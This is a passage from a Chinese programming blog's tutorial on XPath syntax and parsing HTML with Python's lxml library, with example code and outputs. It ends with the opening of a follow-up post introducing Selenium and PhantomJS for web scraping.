                          <pre><span class="line"><span class="tag">&lt;<span class="name">bookstore</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">book</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">title</span>&gt;</span>Harry Potter<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">author</span>&gt;</span>J K. Rowling<span class="tag">&lt;/<span class="name">author</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">year</span>&gt;</span>2005<span class="tag">&lt;/<span class="name">year</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">price</span>&gt;</span>29.99<span class="tag">&lt;/<span class="name">price</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">book</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;/<span class="name">bookstore</span>&gt;</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <h3 id="选取节点"><a href="#选取节点" class="headerlink" title="选取节点"></a>选取节点</h3>
                  <p>XPath 使用路径表达式在 XML 文档中选取节点。节点是通过沿着路径或者 step 来选取的。</p>
                  <h3 id="下面列出了最有用的路径表达式："><a href="#下面列出了最有用的路径表达式：" class="headerlink" title="下面列出了最有用的路径表达式："></a>下面列出了最有用的路径表达式：</h3>
                  <p>表达式</p>
                  <p>描述</p>
                  <p>nodename</p>
                  <p>选取此节点的所有子节点。</p>
                  <p>/</p>
                  <p>从根节点选取。</p>
                  <p>//</p>
                  <p>从匹配选择的当前节点选择文档中的节点，而不考虑它们的位置。</p>
                  <p>.</p>
                  <p>选取当前节点。</p>
                  <p>..</p>
                  <p>选取当前节点的父节点。</p>
                  <p>@</p>
                  <p>选取属性。</p>
                  <p><strong>实例</strong> 在下面的表格中，我们已列出了一些路径表达式以及表达式的结果：</p>
                  <p>路径表达式</p>
                  <p>结果</p>
                  <p>bookstore</p>
                  <p>选取 bookstore 元素的所有子节点。</p>
                  <p>/bookstore</p>
                  <p>选取根元素 bookstore。注释：假如路径起始于正斜杠( / )，则此路径始终代表到某元素的绝对路径！</p>
                  <p>bookstore/book</p>
                  <p>选取属于 bookstore 的子元素的所有 book 元素。</p>
                  <p>//book</p>
                  <p>选取所有 book 子元素，而不管它们在文档中的位置。</p>
                  <p>bookstore//book</p>
                  <p>选择属于 bookstore 元素的后代的所有 book 元素，而不管它们位于 bookstore 之下的什么位置。</p>
                  <p>//@lang</p>
                  <p>选取名为 lang 的所有属性。</p>
                  <h3 id="谓语（Predicates）"><a href="#谓语（Predicates）" class="headerlink" title="谓语（Predicates）"></a>谓语（Predicates）</h3>
                  <p>谓语用来查找某个特定的节点或者包含某个指定的值的节点。 谓语被嵌在方括号中。 <strong>实例</strong> 在下面的表格中，我们列出了带有谓语的一些路径表达式，以及表达式的结果：</p>
                  <p>路径表达式</p>
                  <p>结果</p>
                  <p>/bookstore/book[1]</p>
                  <p>选取属于 bookstore 子元素的第一个 book 元素。</p>
                  <p>/bookstore/book[last()]</p>
                  <p>选取属于 bookstore 子元素的最后一个 book 元素。</p>
                  <p>/bookstore/book[last()-1]</p>
                  <p>选取属于 bookstore 子元素的倒数第二个 book 元素。</p>
                  <p>/bookstore/book[position()&lt;3]</p>
                  <p>选取最前面的两个属于 bookstore 元素的子元素的 book 元素。</p>
                  <p>//title[@lang]</p>
                  <p>选取所有拥有名为 lang 的属性的 title 元素。</p>
                  <p>//title[@lang=’eng’]</p>
                  <p>选取所有 title 元素，且这些元素拥有值为 eng 的 lang 属性。</p>
                  <p>/bookstore/book[price&gt;35.00]</p>
                  <p>选取 bookstore 元素的所有 book 元素，且其中的 price 元素的值须大于 35.00。</p>
                  <p>/bookstore/book[price&gt;35.00]/title</p>
                  <p>选取 bookstore 元素中的 book 元素的所有 title 元素，且其中的 price 元素的值须大于 35.00。</p>
                  <h3 id="选取未知节点"><a href="#选取未知节点" class="headerlink" title="选取未知节点"></a>选取未知节点</h3>
                  <p>XPath 通配符可用来选取未知的 XML 元素。</p>
                  <p>通配符</p>
                  <p>描述</p>
                  <p>*</p>
                  <p>匹配任何元素节点。</p>
                  <p>@*</p>
                  <p>匹配任何属性节点。</p>
                  <p>node()</p>
                  <p>匹配任何类型的节点。</p>
                  <p><strong>实例</strong> 在下面的表格中，我们列出了一些路径表达式，以及这些表达式的结果：</p>
                  <p>路径表达式</p>
                  <p>结果</p>
                  <p>/bookstore/*</p>
                  <p>选取 bookstore 元素的所有子元素。</p>
                  <p>//*</p>
                  <p>选取文档中的所有元素。</p>
                  <p>//title[@*]</p>
                  <p>选取所有带有属性的 title 元素。</p>
                  <h3 id="选取若干路径"><a href="#选取若干路径" class="headerlink" title="选取若干路径"></a>选取若干路径</h3>
                  <p>通过在路径表达式中使用“|”运算符，您可以选取若干个路径。 <strong>实例</strong> 在下面的表格中，我们列出了一些路径表达式，以及这些表达式的结果：</p>
                  <p>路径表达式</p>
                  <p>结果</p>
                  <p>//book/title | //book/price</p>
                  <p>选取 book 元素的所有 title 和 price 元素。</p>
                  <p>//title | //price</p>
                  <p>选取文档中的所有 title 和 price 元素。</p>
                  <p>/bookstore/book/title | //price</p>
                  <p>选取属于 bookstore 元素的 book 元素的所有 title 元素，以及文档中所有的 price 元素。</p>
                  <h3 id="XPath-运算符"><a href="#XPath-运算符" class="headerlink" title="XPath 运算符"></a>XPath 运算符</h3>
                  <p>下面列出了可用在 XPath 表达式中的运算符：</p>
                  <p>运算符</p>
                  <p>描述</p>
                  <p>实例</p>
                  <p>返回值</p>
                  <p>|</p>
                  <p>计算两个节点集</p>
                  <p>//book | //cd</p>
                  <p>返回所有拥有 book 和 cd 元素的节点集</p>
                  <p>+</p>
                  <p>加法</p>
                  <p>6 + 4</p>
                  <p>10</p>
                  <p>-</p>
                  <p>减法</p>
                  <p>6 - 4</p>
                  <p>2</p>
                  <p>*</p>
                  <p>乘法</p>
                  <p>6 * 4</p>
                  <p>24</p>
                  <p>div</p>
                  <p>除法</p>
                  <p>8 div 4</p>
                  <p>2</p>
                  <p>\=</p>
                  <p>等于</p>
                  <p>price=9.80</p>
                  <p>如果 price 是 9.80，则返回 true。如果 price 是 9.90，则返回 false。</p>
                  <p>!=</p>
                  <p>不等于</p>
                  <p>price!=9.80</p>
                  <p>如果 price 是 9.90，则返回 true。如果 price 是 9.80，则返回 false。</p>
                  <p>&lt;</p>
                  <p>小于</p>
                  <p>price&lt;9.80</p>
                  <p>如果 price 是 9.00，则返回 true。如果 price 是 9.90，则返回 false。</p>
                  <p>&lt;=</p>
                  <p>小于或等于</p>
                  <p>price&lt;=9.80</p>
                  <p>如果 price 是 9.00，则返回 true。如果 price 是 9.90，则返回 false。</p>
                  <p>></p>
                  <p>大于</p>
                  <p>price&gt;9.80</p>
                  <p>如果 price 是 9.90，则返回 true。如果 price 是 9.80，则返回 false。</p>
                  <p>>=</p>
                  <p>大于或等于</p>
                  <p>price&gt;=9.80</p>
                  <p>如果 price 是 9.90，则返回 true。如果 price 是 9.70，则返回 false。</p>
                  <p>or</p>
                  <p>或</p>
                  <p>price=9.80 or price=9.70</p>
                  <p>如果 price 是 9.80，则返回 true。如果 price 是 9.50，则返回 false。</p>
                  <p>and</p>
                  <p>与</p>
                  <p>price&gt;9.00 and price&lt;9.90</p>
                  <p>如果 price 是 9.80，则返回 true。如果 price 是 8.50，则返回 false。</p>
                  <p>mod</p>
                  <p>计算除法的余数</p>
                  <p>5 mod 2</p>
                  <p>1</p>
                  <h2 id="lxml用法"><a href="#lxml用法" class="headerlink" title="lxml用法"></a>lxml用法</h2>
                  <h3 id="初步使用"><a href="#初步使用" class="headerlink" title="初步使用"></a>初步使用</h3>
                  <p>首先我们利用它来解析 HTML 代码，先来一个小例子来感受一下它的基本用法。</p>
                  <figure class="highlight xml">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">from lxml import etree</span><br><span class="line">text = '''</span><br><span class="line"><span class="tag">&lt;<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">ul</span>&gt;</span></span><br><span class="line">         <span class="tag">&lt;<span class="name">li</span> <span class="attr">class</span>=<span class="string">"item-0"</span>&gt;</span><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"link1.html"</span>&gt;</span>first item<span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">         <span class="tag">&lt;<span class="name">li</span> <span class="attr">class</span>=<span class="string">"item-1"</span>&gt;</span><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"link2.html"</span>&gt;</span>second item<span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">         <span class="tag">&lt;<span class="name">li</span> <span class="attr">class</span>=<span class="string">"item-inactive"</span>&gt;</span><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"link3.html"</span>&gt;</span>third item<span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">         <span class="tag">&lt;<span class="name">li</span> <span class="attr">class</span>=<span class="string">"item-1"</span>&gt;</span><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"link4.html"</span>&gt;</span>fourth item<span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">         <span class="tag">&lt;<span class="name">li</span> <span class="attr">class</span>=<span class="string">"item-0"</span>&gt;</span><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"link5.html"</span>&gt;</span>fifth item<span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line">     <span class="tag">&lt;/<span class="name">ul</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">'''</span><br><span class="line">html = etree.HTML(text)</span><br><span class="line">result = etree.tostring(html)</span><br><span class="line">print(result)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>首先我们使用 lxml 的 etree 库，然后利用 etree.HTML 初始化，然后我们将其打印出来。 其中，这里体现了 lxml 的一个非常实用的功能就是自动修正 html 代码，大家应该注意到了，最后一个 li 标签，其实我把尾标签删掉了，是不闭合的。不过，lxml 因为继承了 libxml2 的特性，具有自动修正 HTML 代码的功能。 所以输出结果是这样的</p>
                  <figure class="highlight xml">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">ul</span>&gt;</span></span><br><span class="line">         <span class="tag">&lt;<span class="name">li</span> <span class="attr">class</span>=<span class="string">"item-0"</span>&gt;</span><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"link1.html"</span>&gt;</span>first item<span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">         <span class="tag">&lt;<span class="name">li</span> <span class="attr">class</span>=<span class="string">"item-1"</span>&gt;</span><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"link2.html"</span>&gt;</span>second item<span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">         <span class="tag">&lt;<span class="name">li</span> <span class="attr">class</span>=<span class="string">"item-inactive"</span>&gt;</span><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"link3.html"</span>&gt;</span>third item<span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">         <span class="tag">&lt;<span class="name">li</span> <span class="attr">class</span>=<span class="string">"item-1"</span>&gt;</span><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"link4.html"</span>&gt;</span>fourth item<span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">         <span class="tag">&lt;<span class="name">li</span> <span class="attr">class</span>=<span class="string">"item-0"</span>&gt;</span><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"link5.html"</span>&gt;</span>fifth item<span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">ul</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>不仅补全了 li 标签，还添加了 body，html 标签。</p>
                  <h3 id="文件读取"><a href="#文件读取" class="headerlink" title="文件读取"></a>文件读取</h3>
                  <p>除了直接读取字符串，还支持从文件读取内容。比如我们新建一个文件叫做 hello.html，内容为</p>
                  <figure class="highlight xml">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="tag">&lt;<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">ul</span>&gt;</span></span><br><span class="line">         <span class="tag">&lt;<span class="name">li</span> <span class="attr">class</span>=<span class="string">"item-0"</span>&gt;</span><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"link1.html"</span>&gt;</span>first item<span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">         <span class="tag">&lt;<span class="name">li</span> <span class="attr">class</span>=<span class="string">"item-1"</span>&gt;</span><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"link2.html"</span>&gt;</span>second item<span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">         <span class="tag">&lt;<span class="name">li</span> <span class="attr">class</span>=<span class="string">"item-inactive"</span>&gt;</span><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"link3.html"</span>&gt;</span><span class="tag">&lt;<span class="name">span</span> <span class="attr">class</span>=<span class="string">"bold"</span>&gt;</span>third item<span class="tag">&lt;/<span class="name">span</span>&gt;</span><span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">         <span class="tag">&lt;<span class="name">li</span> <span class="attr">class</span>=<span class="string">"item-1"</span>&gt;</span><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"link4.html"</span>&gt;</span>fourth item<span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">         <span class="tag">&lt;<span class="name">li</span> <span class="attr">class</span>=<span class="string">"item-0"</span>&gt;</span><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"link5.html"</span>&gt;</span>fifth item<span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">     <span class="tag">&lt;/<span class="name">ul</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>利用 parse 方法来读取文件。</p>
                  <figure class="highlight routeros">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">from</span> lxml import etree</span><br><span class="line">html = etree.parse(<span class="string">'hello.html'</span>)</span><br><span class="line">result = etree.tostring(html, <span class="attribute">pretty_print</span>=<span class="literal">True</span>)</span><br><span class="line"><span class="builtin-name">print</span>(result)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>同样可以得到相同的结果。</p>
                  <h3 id="XPath实例测试"><a href="#XPath实例测试" class="headerlink" title="XPath实例测试"></a>XPath实例测试</h3>
                  <p>依然以上一段程序为例 （1）获取所有的 <li> 标签</p>
                  <figure class="highlight routeros">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">from</span> lxml import etree</span><br><span class="line">html = etree.parse(<span class="string">'hello.html'</span>)</span><br><span class="line"><span class="builtin-name">print</span> type(html)</span><br><span class="line">result = html.xpath(<span class="string">'//li'</span>)</span><br><span class="line"><span class="builtin-name">print</span> result</span><br><span class="line"><span class="builtin-name">print</span> len(result)</span><br><span class="line"><span class="builtin-name">print</span> type(result)</span><br><span class="line"><span class="builtin-name">print</span> type(result[0])</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>运行结果</p>
                  <figure class="highlight fsharp">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">&lt;<span class="class"><span class="keyword">type</span> '<span class="title">lxml</span>.<span class="title">etree</span>.<span class="title">_ElementTree</span>'&gt;</span></span><br><span class="line"><span class="meta">[&lt;Element li at 0x1014e0e18&gt;, &lt;Element li at 0x1014e0ef0&gt;, &lt;Element li at 0x1014e0f38&gt;, &lt;Element li at 0x1014e0f80&gt;, &lt;Element li at 0x1014e0fc8&gt;]</span></span><br><span class="line"><span class="number">5</span></span><br><span class="line">&lt;<span class="class"><span class="keyword">type</span> '<span class="title">list</span>'&gt;</span></span><br><span class="line">&lt;<span class="class"><span class="keyword">type</span> '<span class="title">lxml</span>.<span class="title">etree</span>.<span class="title">_Element</span>'&gt;</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>可见，etree.parse 的类型是 ElementTree，通过调用 xpath 以后，得到了一个列表，包含了 5 个 <li> 元素，每个元素都是 Element 类型 （2）获取
                    <li> 标签的所有 class
                  </p>
                  <figure class="highlight isbl">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="variable"><span class="class">result</span></span> = <span class="variable">html.xpath</span>(<span class="string">'//li/@class'</span>)</span><br><span class="line"><span class="variable">print</span> <span class="variable"><span class="class">result</span></span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>运行结果</p>
                  <figure class="highlight scheme">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">[<span class="symbol">'item-0</span>', <span class="symbol">'item-1</span>', <span class="symbol">'item-inactive</span>', <span class="symbol">'item-1</span>', <span class="symbol">'item-0</span>']</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>（3）获取 <li> 标签下 href 为 link1.html 的 <a> 标签</p>
                  <figure class="highlight cos">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">result = html.xpath('<span class="comment">//li/a[@href="link1.html"]')</span></span><br><span class="line"><span class="keyword">print</span> result</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>运行结果</p>
                  <figure class="highlight fsharp">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="meta">[&lt;Element a at 0x10ffaae18&gt;]</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>（4）获取 <li> 标签下的所有 <span> 标签 注意这么写是不对的</p>
                  <figure class="highlight ini">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="attr">result</span> = html.xpath(<span class="string">'//li/span'</span>)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>因为 / 是用来获取子元素的，而 <span> 并不是 <li> 的子元素，所以，要用双斜杠</p>
                  <figure class="highlight isbl">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="variable"><span class="class">result</span></span> = <span class="variable">html.xpath</span>(<span class="string">'//li//span'</span>)</span><br><span class="line"><span class="variable">print</span> <span class="variable"><span class="class">result</span></span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>运行结果</p>
                  <figure class="highlight fsharp">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="meta">[&lt;Element span at 0x10d698e18&gt;]</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>（5）获取 <li> 标签下的所有 class，不包括
                    <li>
                  </p>
                  <figure class="highlight cos">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">result = html.xpath('<span class="comment">//li/a//@class')</span></span><br><span class="line"><span class="keyword">print</span> result</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>运行结果</p>
                  <figure class="highlight scheme">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">[<span class="symbol">'blod</span>']</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>（6）获取最后一个 <li> 的 <a> 的 href</p>
                  <figure class="highlight cos">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">result = html.xpath('<span class="comment">//li[last()]/a/@href')</span></span><br><span class="line"><span class="keyword">print</span> result</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>运行结果</p>
                  <figure class="highlight scheme">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">[<span class="symbol">'link5.html</span>']</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>（7）获取倒数第二个元素的内容</p>
                  <figure class="highlight livecodeserver">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="built_in">result</span> = html.xpath(<span class="string">'//li[last()-1]/a'</span>)</span><br><span class="line">print <span class="built_in">result</span>[<span class="number">0</span>].<span class="keyword">text</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>运行结果</p>
                  <figure class="highlight applescript">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">fourth</span> <span class="built_in">item</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>（8）获取 class 为 bold 的标签名</p>
                  <figure class="highlight crmsh">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">result = html.<span class="keyword">xpath</span>('//*[@<span class="attr">class=</span><span class="string">"bold"</span>]')</span><br><span class="line">print result[<span class="number">0</span>].<span class="keyword">tag</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>运行结果</p>
                  <figure class="highlight ebnf">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="attribute">span</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>通过以上实例的练习，相信大家对 XPath 的基本用法有了基本的了解。也可以利用 text 方法来获取元素的内容。 大家多加练习！</p>
                  <h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h2>
                  <p>XPath 是一个非常好用的解析方法，同时也作为爬虫学习的基础，在后面的 selenium 以及 scrapy 框架中都会涉及到这部分知识，希望大家可以把它的语法掌握清楚，为后面的深入研究做好铺垫。</p>
                  </p>
                </div>
              </div>
              <div class="post-meta">
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-user"></i>
                  </span>
                  <span class="post-meta-item-text">作者</span>
                  <span><a href="/authors/崔庆才" class="author" itemprop="url" rel="index">崔庆才</a></span>
                </span>
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-calendar"></i>
                  </span>
                  <span class="post-meta-item-text">发表于</span>
                  <time title="创建时间：2016-03-23 23:19:25" itemprop="dateCreated datePublished" datetime="2016-03-23T23:19:25+08:00">2016-03-23</time>
                </span>
                <span id="/2621.html" class="post-meta-item leancloud_visitors" data-flag-title="Python爬虫利器三之Xpath语法与lxml库的用法" title="阅读次数">
                  <span class="post-meta-item-icon">
                    <i class="fa fa-eye"></i>
                  </span>
                  <span class="post-meta-item-text">阅读次数：</span>
                  <span class="leancloud-visitors-count"></span>
                </span>
                <span class="post-meta-item" title="本文字数">
                  <span class="post-meta-item-icon">
                    <i class="far fa-file-word"></i>
                  </span>
                  <span class="post-meta-item-text">本文字数：</span>
                  <span>7.2k</span>
                </span>
                <span class="post-meta-item" title="阅读时长">
                  <span class="post-meta-item-icon">
                    <i class="far fa-clock"></i>
                  </span>
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                  <span>7 分钟</span>
                </span>
              </div>
            </article>
            <article itemscope itemtype="http://schema.org/Article" class="post-block index" lang="zh-CN">
              <link itemprop="mainEntityOfPage" href="https://cuiqingcai.com/2599.html">
              <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
                <meta itemprop="image" content="/images/avatar.png">
                <meta itemprop="name" content="崔庆才">
                <meta itemprop="description" content="崔庆才的个人站点，记录生活的瞬间，分享学习的心得。">
              </span>
              <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
                <meta itemprop="name" content="静觅">
              </span>
              <header class="post-header">
                <h2 class="post-title" itemprop="name headline">
                  <a class="label"> Python <i class="label-arrow"></i>
                  </a>
                  <a href="/2599.html" class="post-title-link" itemprop="url">Python爬虫利器五之Selenium的用法</a>
                </h2>
              </header>
              <div class="post-body" itemprop="articleBody">
                <div class="thumb">
                  <img itemprop="contentUrl" class="random">
                </div>
                <div class="excerpt">
                  <p>
                  <h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2>
                  <p>在上一节我们学习了 PhantomJS 的基本用法，归根结底它是一个没有界面的浏览器，而且运行的是 JavaScript 脚本，然而这就能写爬虫了吗？这又和Python有什么关系？说好的Python爬虫呢？库都学完了你给我看这个？客官别急，接下来我们介绍的这个工具，统统解决掉你的疑惑。</p>
                  <h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2>
                  <p>Selenium 是什么？一句话，自动化测试工具。它支持各种浏览器，包括 Chrome，Safari，Firefox 等主流界面式浏览器，如果你在这些浏览器里面安装一个 Selenium 的插件，那么便可以方便地实现Web界面的测试。换句话说叫 Selenium 支持这些浏览器驱动。话说回来，PhantomJS不也是一个浏览器吗，那么 Selenium 支持不？答案是肯定的，这样二者便可以实现无缝对接了。 然后又有什么好消息呢？Selenium支持多种语言开发，比如 Java，C，Ruby等等，有 Python 吗？那是必须的！哦这可真是天大的好消息啊。 嗯，所以呢？安装一下 Python 的 Selenium 库，再安装好 PhantomJS，不就可以实现 Python＋Selenium＋PhantomJS 的无缝对接了嘛！PhantomJS 用来渲染解析JS，Selenium 用来驱动以及与 Python 的对接，Python 进行后期的处理，完美的三剑客！ 有人问，为什么不直接用浏览器而用一个没界面的 PhantomJS 呢？答案是：效率高！ Selenium 有两个版本，目前最新版本是 2.53.1（2016/3/22）</p>
                  <blockquote>
